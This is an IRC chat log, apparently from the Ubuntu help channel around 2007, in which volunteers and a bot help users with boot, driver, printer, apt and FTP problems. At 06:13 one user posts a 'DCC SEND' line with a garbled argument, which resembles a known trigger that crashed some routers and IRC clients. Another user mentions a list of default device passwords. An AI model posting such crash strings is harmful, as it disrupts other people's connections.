[05:28] <demolitio> or a whole bunch of others.. had a list once with all the IPs and their default passwords from my tech support days...
[05:29] <rryan> hey all...  booting the live-cd (to install) for 7.04 is failing on a T61 thinkpad. I get dropped to busybox with the error 'can't access tty; job control turned off'    Anyone know how to get around this ?
[05:29] <rryan> casper.log lists errors mounting sda1 or sda2, and then eventually deciding can't find live cd media
[05:29] <nickrud> rryan:  this forum post lists several different fixes, it appears to depend on your hardware http://ubuntuforums.org/showthread.php?t=421588
[05:29] <Evanlec> rryan, http://ubuntuforums.org/showthread.php?t=421588&page=7
[05:30] <nickrud> rryan: if you get it to work, please mention it, would you?
[05:30] <rryan> nickrud, Evanlec : thanks I'll check it out. I googled a lot earlier but found nothing matching my hardware
[05:30] <rryan> nickrud: will do
[05:30] <veynom> how do i get my resolution to go above 1024 X 768, i have an nvidia 7800
[05:31] <nickrud> !fixres | veynom this page lists a few methods
[05:31] <Ubotu> veynom this page lists a few methods: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[05:33] <abadtooth> anyone have any suggestions for a dock?
[05:33] <rryan> nickrud, Evanlec : it looks like modprobe piix worked.. i got kmesg's about finding hda, my dvd drive
[05:33] <Evanlec> cool
[05:33] <stefano> was geht ab dawgs
[05:33] <Evanlec> but hda should not be your dvd drive
[05:33] <nickrud> good to know that page is working for someone
[05:33] <veynom> woohoo!
[05:33] <Evanlec> that shold be your hard drive..
[05:34] <veynom> the command was sudo nvidia-settings
[05:34] <rryan> well, sda is my hard drive
[05:34] <Evanlec> ah k
[05:34] <Evanlec> sata ?
[05:34] <rryan> it's sata, and my cdrom drive is pata, so it should be hd*
[05:34] <Evanlec> right
[05:34] <Pk01r2_> holas
[05:34] <Evanlec> my dvd drive is sata, i donno how linux detects it lol
[05:34] <xtknight> rryan,  nope, libata, since feisty, makes all IDE drivers /dev/sd*
[05:34] <nugget93> hey, can anyone here help me with beryl? i got a theme and dont know what to do. So can anyone help me please?
[05:34] <terrestre> how i can know a ip of a msn
[05:35] <blkdg> hi, I was reading https://jdk-distros.dev.java.net/ubuntu.html because I found a press release that said that ubuntu and debian were granted licences to distriibute Java JDK.  Is this package shipped on the CD or does my machine need to be connected to the internet to get these packages?
[05:35] <rryan> xtknight : interesting... i noticed that in my PC version (i'm working on my laptop now)   but wasn't sure if that was intentional
[05:35] <Evanlec> !beryl
[05:35] <Ubotu> beryl is a window manager that takes advantage of an OpenGL accelerated X environment. Help in #ubuntu-effects
[05:35] <nickrud> used to be linux would masquarade all cd/dvd's as scuzzys, it's not suprising
[05:36] <Skyfalcon866> #debian
[05:36] <nugget93> so can anyone help me because the channel the ubotu sent me to has noone answering
[05:36] <nickrud> xtknight: not quite, mine are still hd*
[05:36] <xtknight> nickrud, ah must be some legacy driver, perhasp
[05:36] <pedahzur> terrestre: Can you explain?  Do you mean tghe IP address of the person on the other end of the conversation?
[05:37] <nickrud> xtknight: january build of a cheap gateway laptop. Maybe :)
[05:37] <blkdg> does the current stable version of Ubuntu / Kubuntu ship with the JDK?
[05:37] <pedahzur> blkdg: You can download and install the Sun Java packages via synaptic or adept.
[05:37] <pedahzur> You may have to enable universe or multiverse repositories.
[05:37] <blkdg> ok, thanks pedahzur
[05:37] <nickrud> blkdg: no, but you can apt-get install sun-java6-jdk easily
[05:38] <blkdg> i know, but i'm thinking about live cd use in a comp. lab
[05:38] <Flannel> blkdg: https://help.ubuntu.com/community/LiveCDCustomization
[05:40] <terrestre> pedahzur: yeah, someone tell that with netstat when someone send you something but now i only saw the msn ips
[05:40] <blkdg> thanks Flannel
[05:40] <blkdg> good night all.
[05:40] <pedahzur> terrestre: I believe all communication goes through the MSN servers, so there is no way to know.  I
[05:41] <pedahzur> terrestre: I know that with ICQ you can get the IP of the other ICQ user with some old clients, but I don't believe that's the case with MSN.
[05:41] <Sajes> I need to ask a hardware-related question.. Can I do that in this channel?
[05:41] <pedahzur> Sajes: Possibly...ask and see if anyone knows. :)
[05:42] <hydrozen> just wondering, i have svn installed and I don't see an /etc/subversion directory for system-wide configuration... is it normal?
[05:42] <gerath> how do you remove file that are hiden i did a ls -a with showed all files list but when i tried to remove a file in the command line that i know is there it states file No such file or directory.
[05:42] <Sajes> mkay.. I have dial up, and I have a winmodem. So, I'm looking to purchase a hardware modem. would this ( http://www.newegg.com/Product/Product.asp?item=N82E16825138106 ) modem work in Linux? It says "Controller Based", so that had me confused as to if it were a hardware modem or not.
[05:42] <nickrud> hydrozen: I see /etc/subversion
[05:43] <grepper> any other repos for updated ffmpeg for feisty ?
[05:43] <terrestre> pedahzur: do you know about a way to chat with someone without a messenger? knowing his ip, i know ssh/scp to sent files and share folders but its possibly send message?
[05:43] <Flannel> hydrozen: You should have that.  What did you do to break it?
[05:43] <hydrozen> ahhhh fuck wait heh, the machine is not even running ubuntu
[05:43] <Flannel> grepper: Are you sure you're spelling it correctly? (and in the correct case?)
[05:44] <grepper> Flannel: spelling what ?
[05:44] <nickrud> Sajes: yes, that will work.
[05:44] <pedahzur> terrestre: You can use other chat clients, such as Jabber, and there are network based clients such as ytalk or ntalk.  What are you trying to accomplish.
[05:44] <hydrozen> it's an old fedora installation... still, im wondering why installation with yum didn't create the /etc/subversion dir
[05:45] <Sajes> Excellent! Thank you nickrud - I wanted an external hardware modem, but I didn't want Serial Port, because I need it to work for both, a laptop and a desktop computer. :)
[05:45] <epiclulz> how do you mount .bin images in ubuntu?
[05:45] <epiclulz> is there something like daemon tools?
[05:45] <pedahzur> Sajes: There is a review that says it works great in Ubuntu 6.10.  I would assume it just creates a USB<->serial connection.
[05:45] <terrestre> pedahzur: just learn...
[05:45] <Evanlec> !iso
[05:45] <Ubotu> To mount an ISO disc image, type  sudo mount -o loop <ISO-filename> <mountpoint>  - There is a list of useful cd image conversion tools at http://wiki.linuxquestions.org/wiki/CD_Image_Conversion - Always verify the ISO using !MD5 before !burning.
[05:45] <terrestre> pedahzur: thanks
[05:45] <Flannel> grepper: sorry.
[05:46] <pedahzur> terrestre: you're welcome.
[05:46] <Flannel> gerath: Are you sure you're spelling it correctly? (and in the correct case?)
[05:46] <Sajes> I read them, but I didn't see the review that said that.. Perhaps I should read reviews more carefully, and not have to ask stupid questions then. :)
[05:46] <pedahzur> epiclulz: That would depend on what the .bin contains.  What is it?
[05:46] <terrestre> its weird a friend see his ip in www.whatsmyip.net but i can ping to that ip
[05:46] <epiclulz> pedahzur, image of the disc
[05:47] <pedahzur> epiclulz: as in something made by dd "ripping" straight from a disk? If it's an image of a partition, you can mount it via loopback just as you would any physical partition.
[05:47] <Evanlec> epiclulz, i would say convert it to ISO...!iso
[05:47] <manduski> hey guys i was wondering if anyone can help me write the Spanish accents
[05:47] <manduski> I've been looking on line but there doesn't seem to be much help
[05:48] <Evanlec> manduski, #ubuntu-es
[05:48] <Evanlec> i think..
[05:48] <terrestre> !es
[05:48] <Ubotu> Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[05:49] <Sajes> where's their muchos grande`? :P
[05:49] <Sajes> wait.. muchos gracias.. not grande.
[05:49] <Sajes> grande is like, nachos right?
[05:49] <terrestre> muchas gracias
[05:49] <nickrud> no, coffee
[05:49] <Sajes> oh. :D
[05:49] <terrestre> grande means big
[05:49] <Evanlec> lol...grande is nachos
[05:50] <Evanlec> oh lord
[05:50] <Sajes> :( don't make fun of me. I don't know spanish lol.
[05:50] <ehc> are there some spanish english programs to help learning spanish. like translator dictionaries or other programs?
[05:50] <Sajes> I'm in the progress of trying to learn it.
[05:50] <Evanlec> there's babblefish
[05:50] <terrestre> its ok, i'm trying to lear english :)
[05:50] <manduski> how do i change to server ubuntu-es
[05:50] <manduski> ?
[05:50] <Evanlec> manduski, its not a server, its a channel, type /join #ubuntu-es
[05:51] <terrestre> doble click sobre el canal
[05:52] <sainzeo> i've noticed that all wireless signals appear a lit lower in ubuntu than on my windows partition - i believe i have an artheros chipset...any suggestions on how to fix this?
[05:52] <julian2495322> something is wrong with my wireless. my ping to my router is taking 600ms!
[05:52] <daedalus__> does anybody here has ever installed airbase?
[05:52] <Scp2004-> #ubuntubrasil-orkut
[05:52] <julian2495322> any suggestions
[05:53] <sainzeo> im running ubuntu feisty if that helps anyone...
[05:53] <pedahzur> sainzeo: What are you using to measure?
[05:53] <pedahzur> sainzeo: The driver may vary between windows and Linux in how it measures.
[05:53] <sainzeo> @pedahzur: i'm just looking at what ubuntu reports my wireless signal to be compared to what windows would
[05:54] <jesse> hello
[05:54] <sainzeo> @pedahzur: it looks like if the signal would normally be 100% in windows, its around 50% in ubuntu
[05:54] <pedahzur> sainzeo: What number are you looking at? dB? signal quality?  some xx/yy?
[05:54] <jesse> i just got started with ubuntu
[05:54] <jesse> and linux
[05:54] <sainzeo> @pedahzur: i'm just hovering my cursor over the network icon where it says, "connected to ... (38%)"
[05:54] <tate> I've got a really bizarre problem with Feisty; bizarre because it's a basic operation it can't seem to do
[05:54] <jesse> i would like to play warcraft III, but I'm getting a cd not found error
[05:55] <tate> I'm trying to add a user; but that user can't have his own x-session
[05:55] <jesse> where can I get help with this?
[05:55] <manduski> hey guys i can't seem to get help on ubuntu-es, but i wanted to know how i write spanish accents on ubuntu using an american keyboard and english settings
[05:55] <pedahzur> sainzeo:  I'm not sure how it measures percentage, so can't really comment on how it reports that.
[05:55] <tate> I get a few errors about some missing config files for that user; and then I'm back to the login screen
[05:55] <pedahzur> tate: are you getting any error, or are you saying you don't want the user to have an X session?
[05:55] <tate> I'm getting an error; I want the user to have an xsession
[05:56] <pedahzur> tate: This is a new user?  What files does it say are missing.
[05:56] <tate> I created a user, and they are xsession incapable which is a pain in the ass
[05:56] <tate> I'm trying to create a mythtv user
[05:56] <pedahzur> How did you create the user?
[05:56] <tate> In the gnome user administration console
[05:57] <pedahzur> tate: What error(s) is/are you getting.
[05:57] <WaxyFresh> hi im haveing problems with a dist-upgrade :E: Unmet dependencies. Try using -f. and useing -f gives me:Errors were encountered while processing:
[05:57] <WaxyFresh>  /var/cache/apt/archives/guidance-backends_0.8.0svn20070727-0ubuntu6_amd64.deb
[05:57] <WaxyFresh> E: Sub-process /usr/bin/dpkg returned an error code (1) i can do a paste bin if someone wants
[05:57] <WaxyFresh> !paste
[05:57] <Ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[05:58] <pedahzur> WaxyFresh: Are you trying to go from one version to another, or just a dist-upgrade as normal procedure?
[05:58] <tate> I'll have to logout and attempt it
[05:58] <tate> I thought this may be a common problem
[05:58] <misslissa699626_> where do you find the channel topic
[05:59] <pedahzur> tate: that sounds weird.  A brand new user should have no trouble loggin in, unless /etc/skel got corrupted and isn't copying all needed files.
[05:59] <pedahzur> misslissa699626_: just type /topic
[05:59] <TerraMaster> My printer is printing gobblodygook
[05:59] <pedahzur> TerraMaster: That would be the #gobblodygood channel. :)
[06:00] <pedahzur> TerraMaster: was it working before?
[06:00] <TerraMaster> -___-
[06:00] <TerraMaster> yes on my windows it just seems like its not interpriting it right, like its priting:
[06:00] <TerraMaster> Dp@DADQT@@@TA@P D@AEPPP@P@P@P
[06:01] <pedahzur> That looks like HP JCL codes.
[06:01] <WaxyFresh> pedahzur: 7.02 to gutsy
[06:01] <WaxyFresh> pedahzur: http://paste.ubuntu-nl.org/37288/
[06:01] <manduski> Can anyone help me write spanish accents on my xubuntu laptop? The other spanish servers don't offer much help
[06:02] <misslissa699626_> boy for all these people in the chat room, not very much talking
[06:02] <TerraMaster> Hp jcl?
[06:02] <pedahzur> WaxyFresh: Considering Gutsy is still Alpha-ish, I'm not sure I'd even expectd it to work.
[06:02] <abadtooth> !dock
[06:02] <Ubotu> Sorry, I don't know anything about dock - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[06:02] <misslissa699626_> where do i go to select the proper printer for ubuntu
[06:02] <abadtooth> hmm...
[06:02] <pedahzur> TerraMaster: Hewlett Packard Job Control Languagef.
[06:02] <TerraMaster> oh my
[06:03] <pedahzur> TerraMaster: What does the printer config say you have as a printer?
[06:03] <abadtooth> anyone know anything about the docks that can be installed on Linux (Ubuntu) ??
[06:03] <TerraMaster> What do you mean?
[06:03] <misslissa699626_> HOW do i set up my printer
[06:03] <tate> Okay, this is severely messed up
[06:03] <nickrud> abadtooth: I've seen kiba and avant , but not built them
[06:03] <tate> I delete the mythtv user
[06:03] <jvboom> I've used avant before abadtooth
[06:03] <tate> I recreate it; and now it removes it upon logout
[06:03] <jvboom> I wouldn't recommend
[06:04] <nickrud> misslissa699626_: theoretically, if ubuntu recognizes your printer, it just gets configured. What kind of printer
[06:04] <pedahzur> misslissa699626_: There is a printer setup tool in Ubuntu...I'm not 100% sure what to find it as I use Kubuntu.
[06:04] <fondor1> Hey all.  I've got a gedit question.  Can anyone point me in the direction of custom syntax highlighting?  I'm going to be reading MatLab files into gedit.  I choose Octave for the moment, but it doesn't recognize all of the comments properly.
[06:04] <tate> ubuntu has some kind of exception code for a user named mythtv
[06:04] <pedahzur> !printer
[06:04] <Ubotu> Printing in Ubuntu is done with cups. See https://help.ubuntu.com/community/Printers - https://wiki.ubuntu.com/HardwareSupportComponentsPrinters - http://www.linux-foundation.org/en/OpenPrinting - Printer sharing: https://wiki.ubuntu.com/NetworkPrintingFromWindows
[06:04] <misslissa699626_> thank you
[06:04] <Evanlec> jvboom, why dont recommend avant?
[06:04] <tate> As most exception code goes; it's loused up what I need to do
[06:04] <newdude> hey guys, i finally got this ATi driver installed, but when i type out fglrxinfo it says im using a mesa driver!? and glxgears is really really choppy, how to i change it so that im using the ati driver?
[06:04] <misslissa699626_> even though my printer is a canon do i use HP
[06:04] <Tsukasa> hey can you burn cds from the livecd?
[06:05] <jvboom> I'm not saying avant is bad in any way...I used it awhile ago, very early builds
[06:05] <abadtooth> nickrud:  any chance there is a .deb or something like that to install one?
[06:05] <TerraMaster> Sorry I lost ya there
[06:05] <Evanlec> newdude, check system>administration>restricted drivers and see if the driver is checked
[06:05] <jvboom> but I've heard the other one is better
[06:05] <Tsukasa> anyone?
[06:05] <TerraMaster> closed the wrong windo
[06:05] <jvboom> kiba that is
[06:05] <wolferine> how do you set $PATH permanently, after you made changes to it ?
[06:05] <nickrud> abadtooth: not that I've seen, but I haven't really looked. You might find it on getdebs.org
[06:05] <pedahzur> TerraMaster: I don't know where the printer setup is in Ubuntu, but I'd start there.
[06:05] <nickrud> or net,
[06:05] <newdude> yup, the restricted driver is checked and it says its in use
[06:05] <misslissa699626_> do i use HP even though i have a canon printer
[06:05] <Tsukasa> can you burn cds in the livecd?
[06:05] <pedahzur> WaxyFresh: I wouldn't expect a dist-upgrade form 7.04 to Gutsy to work at this point.  Sorry!
[06:05] <fondor1> Tsukasa, yea, you should be able to, if you have 2 drives
[06:06] <wolferine> Tsukasa, yes, but you need to mount the drive
[06:06] <abadtooth> nickrud:  okay, lemme check that out :D
[06:06] <pedahzur> tate: it's deleting the user?
[06:06] <TerraMaster> S**T did it again
[06:06] <tate> It would appear so
[06:06] <pedahzur> tate: That is very odd.
[06:06] <misslissa699626_> any one going to answer me please
[06:06] <tate> I'll say
[06:06] <tate> It's really irritating
[06:06] <pedahzur> misslissa699626_: No, you use Canon driversr.
[06:06] <misslissa699626_> is Canon printers supported in Ubuntu
[06:07] <pedahzur> misslissa699626_: They should be...what kind of printer?
[06:07] <tate> I had trouble when setting up ubuntu; I tried to make the default account 'mythtv' and it wouldn't let me
[06:07] <wolferine> misslissa699626_, patience, please
[06:07] <misslissa699626_> oh I dont see it listed in accepted printers
[06:07] <newdude> :/
[06:07] <misslissa699626_> canon iP1800
[06:07] <tate> It's got some code exception for it that really messes it up if you compiled it
[06:07] <TerraMaster> WHo ever was helping me what did you say?
[06:07] <wolferine> how do you set $PATH permanently, after you made changes to it ?
[06:07] <abadtooth> Between Avant and Kiba which dock would you guys say is the better one?
[06:07] <pedahzur> TerraMaster: I don't know where the printer setup is in Ubuntu, but I'd start there.
[06:07] <newdude> it says im using the mesa driver but it is really crappy, ive installed the ati driver np's but its still using the mesa one
[06:07] <rosales70> _pucci i got my wireless working thanks a lot , it was my dns for some reason they would work ok on the wired lan or wireless in windows but my set up did not work in ubuntu
[06:08] <pedahzur> wolferine: I would look in /etc/profile or /etc/bash.bashrc
[06:08] <TerraMaster> Well I went though all that and selected the right drivers
[06:08] <newdude> i just tried glxgears and this is what was said: fatal IO error 104 (Connection reset by peer) on X server ":0.0"
[06:08] <newdude>       after 1824 requests (33 known processed) with 0 events remaining.
[06:09] <fondor1>  Hey all.  I've got a gedit question.  Can anyone point me in the direction of custom syntax highlighting?  I'm going to be reading MatLab files into gedit.  I choose Octave for the moment, but it doesn't recognize all of the comments properly.
[06:09] <newdude> and my fglrxinfo output: display: :0.0  screen: 0
[06:09] <newdude> OpenGL vendor string: Mesa project: www.mesa3d.org
[06:09] <newdude> OpenGL renderer string: Mesa GLX Indirect
[06:09] <newdude> OpenGL version string: 1.4 (1.5 Mesa 6.5.2)
[06:09] <pedahzur> misslissa699626_: I'd look here: https://wiki.ubuntu.com/HardwareSupportComponentsPrintersCanon
[06:09] <misslissa699626_> thank you very much for your help
[06:09] <Evanlec> newdude, did u reboot after installing drivers?
[06:09] <misslissa699626_> i appreciate it
[06:09] <newdude> yup, i rebooted
[06:09] <pedahzur> misslissa699626_: yw
[06:09] <Evanlec> k
[06:09] <newdude> many times, many reboots
[06:09] <pedahzur> !gedit
[06:09] <newdude> then kept checking fglrxinfo
[06:09] <misslissa699626_> aahhh
[06:09] <newdude> still same thing
[06:09] <wolferine> thanks pedahzur
[06:09] <misslissa699626_> it looks like my printer is supported
[06:09] <Ubotu> Text Editors: gedit (GNOME), Kate (KDE), mousepad (Xfce4) | Terminal-based editors: vi/vim, emacs, and nano (user-friendly). | HTML/CSS editors: !html | Programming: !code
[06:10] <misslissa699626_> it goes from iP1700 to iP2000
[06:10] <wolferine> !enter
[06:10] <Evanlec> newdude, if im not mistaken, i believe ati cards have to use AIGLX
[06:10] <Ubotu> Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[06:10] <misslissa699626_> mines a iP1800
[06:10] <misslissa699626_> figures
[06:10] <misslissa699626_> I have had so many problems with linux
[06:10] <misslissa699626_> but thats the fun part trouble shooting
[06:10] <Evanlec> havent we all?
[06:10] <Evanlec> lol
[06:10] <IceGuest_7_> hey guys im trying to share my home directory so that I can view it on my windows box....i get prompted for username and password but I can't get the authentication to work.
[06:10] <chuy_max> is libapache2-mod-log-sql-ssl package the one that is used for ssl in apache2?
[06:10] <chuy_max> in gutsy?
[06:11] <newdude> ive just had to restart over again because i tried the very latest ati driver and it smashed my gui to pieces, but before hand i had the ati driver working without mesa perfectly
[06:11] <wolferine> IceGuest_7_, samba, check in #samba maybe ?
[06:11] <IceGuest_7_> I went to administration and share folders
[06:11] <newdude> but now i cant do anything
[06:11] <chuy_max> I was trying to find this package: libapache-mod-ssl, but it wasn't there
[06:11] <newdude> its too slow,
[06:11] <Evanlec> !samba | IceGuest_7_
[06:11] <Ubotu> IceGuest_7_: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[06:11] <newdude> mesa is useless
[06:11] <pedahzur> fondor1: Since no one here seems to be able to help you: http://www.google.com/search?q=gedit+syntax+highlighting+matlab&ie=UTF-8&oe=UTF-8
[06:11] <newdude> cant use direct draw or wtf it is
[06:11] <newdude> i was able too
[06:11] <IceGuest_7_> i set everything up correctly I think..its just the authentication that is not working
[06:11] <newdude> but had to start again
[06:11] <newdude> now im stuck with mesa :S
[06:11] <Evanlec> !enter | newdude
[06:11] <Ubotu> newdude: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[06:12] <wolferine> IceGuest_7_, great, check the provided link and ask in the specified channel
[06:12] <chuy_max> what happened with this package: libapache-mod-ssl in gutsy?
[06:12] <wolferine> !gutsy
[06:12] <Ubotu> Gutsy Gibbon is the code name for the next release of Ubuntu (7.10) | (due October 2007) | It is development software, as such unstable, support _only_ in #ubuntu+1
[06:12] <pedahzur> chuy_max: did you look for libapache2-mod-ssl?
[06:13] <chuy_max> pedahzur yup
[06:13] <zadkiel> DCC SEND PDFJHDSOHSD908BHS9FBHY
[06:13] <zadkiel> :D
[06:13] <setite> hey all... who wants to teach a noob to install rtorrent on ubuntu server
[06:14] <nickrud> chuy_max: it appears that llibssl is linked directly into apache2 now
[06:14] <setite> i have it installed and running but cant find the damn rtorrent.rc
[06:14] <fatcatmatt> setite: search the add/remove for it
[06:14] <setite> well first how the hell do i get out of the man page
[06:14] <nickrud> setite: q
[06:14] <setite> haha i was trying ctrl+q
[06:15] <setite> so where is the rtorrent.rc
[06:15] <setite> i did a whereis but the folder it reported seems to not be there
[06:15] <fatcatmatt> setite: just click the applications > add/remove
[06:15] <setite> ubuntu server
[06:15] <setite> no gui
[06:15] <setite> im in ssh
[06:15] <fatcatmatt> oh
[06:15] <fatcatmatt> nvm
[06:15] <favoritefood0> Having trouble with multiple audio applications with my Cmedia onboard audio card.
[06:15] <Numenor> algum brasileiro por aqui?
[06:15] <fatcatmatt> idk with that
[06:15] <wolferine> !es | Numenor
[06:15] <Ubotu> Numenor: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[06:15] <favoritefood0> Anybody know an onhand solutioN?
[06:16] <favoritefood0> solution*
[06:16] <fatcatmatt> setite: search the goog
[06:16] <wolferine> !br
[06:16] <Ubotu> Por favor use #ubuntu-br ou #ubuntu-pt  para ajuda em portugus. Obrigado.
[06:16] <setite> iv ebeen searching the goog
[06:16] <setite> and no luck
[06:16] <Numenor> ok tnks my frind
[06:16] <chuy_max> nickrud, so I don't have to worry for ssl anymore?, I'm using a web console, so it would lack security if I don't use ssl
[06:16] <setite> no one says where the hell the rtorrent.rc goes
[06:16] <marnes> hello, I have a problem with sound-juicer:
[06:16] <marnes> a created a new profile with gnome-audio-profile-properties
[06:16] <marnes> but sound-juicer don't show it and don't let me choose it
[06:16] <marnes> I already reinstalled sound-juicer, but the problem continues
[06:16] <marnes> can someonde help me?
[06:16] <bruenig> setite, ~ most likely
[06:16] <nickrud> chuy_max: connect with https, does it connect securely?
[06:17] <fondor1> Thanks pedahzur, tried that solution as well ;)  Unfortunately all of them that I've found so far are content with using Octave as the syntax.  Unfortunately it messes with the comments, and doesn't work 100% of the time
[06:17] <bruenig> setite, or /etc probably
[06:17] <setite> could be ~
[06:17] <fondor1> As such, it's even more difficult to read than without any highlighting
[06:17] <fatcatmatt> setite: what is ssh?
[06:17] <WaxyFresh> if aptitude wont fix broken packages what should i do?
[06:17] <bruenig> if it were ~, it would be .rtorrent.rc though
[06:17] <favoritefood0> Eh, I'm sorry to ask but, anybody have any experience with making a C-Media 6051 (onboard) audio card mix multiple signals? I can only get audio output with USB Audio setting, and that only allows one program to use audio.
[06:17] <WaxyFresh> !ssh | fatcatmatt:
[06:17] <Ubotu> fatcatmatt:: SSH is the Secure SHell protocol. See https://help.ubuntu.com/community/SSHHowto for usage. Putty is a nice SSH client for Windows; it can be found at http://www.chiark.greenend.org.uk/~sgtatham/putty/
[06:17] <nickrud> WaxyFresh: do it manually ; you probably have to put one or two of them on hold
[06:17] <fatcatmatt> ahhh
[06:18] <WaxyFresh> nickrud: how?
[06:18] <setite> yea what mr roboto said
[06:18] <Paddy_EIRE> what would you consider the best WYSIWYG web design tool for linux
[06:18] <pedahzur> Paddy_EIRE: Quanta (my persona opinion)
[06:18] <Paddy_EIRE> kompozer??
[06:18] <Paddy_EIRE> oh
[06:18] <nickrud> WaxyFresh: there's an interactive screen for aptitude ; http://help.ubuntu.com/community/AptitudeSurvivalGuide has a brief intro, talks about finding broken and putting packages on hold
[06:19] <fatcatmatt> i have never used it, dont plan on getting too deep into ubuntu right now.  just getting my feet wet, but have feisty fawn installed, setite
[06:19] <WaxyFresh> nickrud: thanks
[06:19] <chuy_max> nickrud, how do I connect with https ?, I'm sort of a noob. I installed apache2 and ajaxterm
[06:19] <nickrud> WaxyFresh: but, sudo apt-get -f install first ;)
[06:20] <pedahzur> chuy_max: You need to configure Apache's SSL, and set up a host on port 443.  See the Apache docs on that.
[06:20] <nickrud> chuy_max: https://yoursite.com . You'll need to set up though
[06:20] <daedalus__> what is the command i can use to know the libraries and dependancies that i need to install a certain packet or program?
[06:20] <setite> i want my seedbox to work damnit
[06:20] <pedahzur> daedalus__: ldd
[06:20] <marnes> hello, I have a problem with sound-juicer: I created a new audio profile with gnome-audio-profile-properties, but sound-juicer don't show it and don't let me choose it; I already reinstalled sound-juicer, but the problem continues; can someonde help me?
[06:20] <bruenig> what is the deal all of a sudden with people saying packet instead of package
[06:20] <daedalus__> ldd?
[06:20] <nickrud> daedalus__: sudo apt-get install <package> , it'll resolve automatically
[06:20] <bruenig> every other person that comes in here says packet
[06:21] <cakep> hai
[06:21] <pedahzur> daedalus__: I'm sorry, I read your question wrong.
[06:21] <daedalus__> but it it returns it dosent knows about that packet?
[06:21] <nickrud> heh. it's the gibbon vs gutsy spilover
[06:21] <bruenig> and he persists
[06:21] <pedahzur> daedalus__: You can run apt-get install with the '-n' parameter and it will do a "dry run:" telling you what packages it would install, but not really installing.
[06:22] <bruenig> apt-cache show package | grep Depends
[06:22] <pedahzur> that too. :)
[06:22] <bruenig> or there is an apt-policy thing too that does it or something like that
[06:22] <nickrud> apt-cache depends
[06:22] <novice_> suck you
[06:22] <bruenig> yeah that one
[06:22] <daedalus__> is there a way to tell apt-get the path to a local package?
[06:23] <bruenig> daedalus__, dpkg -i package ; apt-get install -f
[06:23] <nickrud> daedalus__: help.ubuntu.com/community/Repositories/Personal
[06:23] <bruenig> the split between dpkg and apt-get is unfortunate but its there
[06:23] <pav> i cant change folder permissions on my ipod, can anyone help?
[06:23] <Flannel> daedalus__: If you want a local repository, you can do that too.  Local file path in sources.list
[06:23] <coathanger> hi, I'm a noob - any ideas on getting the liveCD to show up on my 40" TV? I get about a 1-sec flicker between desktop and "no signal"
[06:23] <nickrud> pav: that's a fat partition, you can't
[06:23] <pedahzur> pav: What user is the ipod mounted as?
[06:24] <rosales70> any
[06:24] <pedahzur> rosales70: any what? :)
[06:25] <setite> whats the ftp server
[06:25] <setite> ftpd?
[06:25] <pav> nickrud pedhazur: im not sure which user its mounted as, but what if i would like for apps to ahve access to read it
[06:25] <setite> or is there a better one on the repos
[06:25] <setite> cli
[06:25] <pedahzur> pav: If it is being auto-mounted when you plug it in, you should have read/write access to it already.
[06:25] <nickrud> pav ls -l /media will show you the permissions and the owner
[06:26] <pav> nickrud ok ty ill look into that
[06:26] <pedahzur> setite: proftpd is a good one
[06:26] <pedahzur> setite: If you just need file transfer, using sftp is a good choice, and much more secure.
[06:26] <setite> i need easy
[06:27] <pedahzur> setite: well, sftp is a lot easier to set up than FTP.
[06:27] <setite> easiest ?
[06:27] <pedahzur> setite: install openssh-server, and you're ready to go.
[06:27] <pedahzur> setite: sftp is the easiest.
[06:27] <setite> uh no i need ftp
[06:27] <pedahzur> For me, anywah.
[06:27] <setite> i have ssh
[06:27] <setite> fxp actually
[06:28] <setite> whats the package name
[06:28] <pedahzur> setite: proftpd for that one.  what is fxp?
[06:28] <setite> you run rtorrent?
[06:28] <psiko_> install proftpd and gproftpd
[06:28] <bruenig> !ftpd
[06:28] <Ubotu> FTP servers: !ftpd, !proftpd, !pure-ftpd, !twoftpd, !vsftpd, !MuddleFTPd, !wzdftpd - Graphical front-ends: !PureAdmin, !GProftpd (for !GNOME), !KcmPureftpd (for !KDE) - See also !FTP
[06:28] <setite> k
[06:29] <setite> gproftpd is gui?
[06:29] <psiko_> !GProftpd
[06:29] <Ubotu> Sorry, I don't know anything about gproftpd - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[06:29] <psiko_> yah
[06:29] <nickrud> !info gproftp
[06:29] <Ubotu> Package gproftp does not exist in feisty, feisty-seveas
[06:30] <bruenig> !info gproftpd
[06:30] <setite> if its gui then no
[06:30] <setite> im running headless
[06:30] <Ubotu> gproftpd: GTK+ configuration tool for proftpd. In component universe, is optional. Version 8.2.8-2ubuntu1 (feisty), package size 162 kB, installed size 580 kB
[06:30] <pedahzur> setite: You can do X over SSH. :)
[06:30] <bruenig> setite, gproftpd surprisingly is a front end for proftpd, it is not needed
[06:30] <bruenig> you can just install proftpd
[06:31] <ramza3> I need the opengl libraries like "#include <opengl.h>" and include glu and glut.h ...but when search with apt, I get 500 apps, which one do I pick?
[06:31] <psiko_> im using with gproftpd and no problens, very easy
[06:31] <setite> ah proftpd failed
[06:31] <pedahzur> ramza3: opengl-dev?
[06:31] <marnes> can someone help me with sound-juicer?   I created a new audio profile with 'gnome-audio-profile-properties', but sound-juicer don't show it and don't let me choose it; I already reinstalled sound-juicer, but the problem continues; can someonde help me?
[06:31] <setite> haha i hate when that happens
[06:31] <bobthecow> what's the best channel for nv/nvidia problems?
[06:31] <bruenig> !find /usr/include opengl.h
[06:31] <nickrud> ramza3: apt-cache search | grep dev will narrow it down
[06:31] <narothepharoh> i have k3b but it says k3b could not load or find the mp3 decoder plugin does anyone know the solution to this?
[06:31] <ramza3> pedahzur, nope
[06:31] <Ubotu> Package/file /usr/include does not exist in feisty
[06:31] <bruenig> !find /usr/include/opengl.h
[06:31] <Ubotu> Package/file /usr/include/opengl.h does not exist in feisty
[06:32] <bruenig> !find /usr/include/glut.h
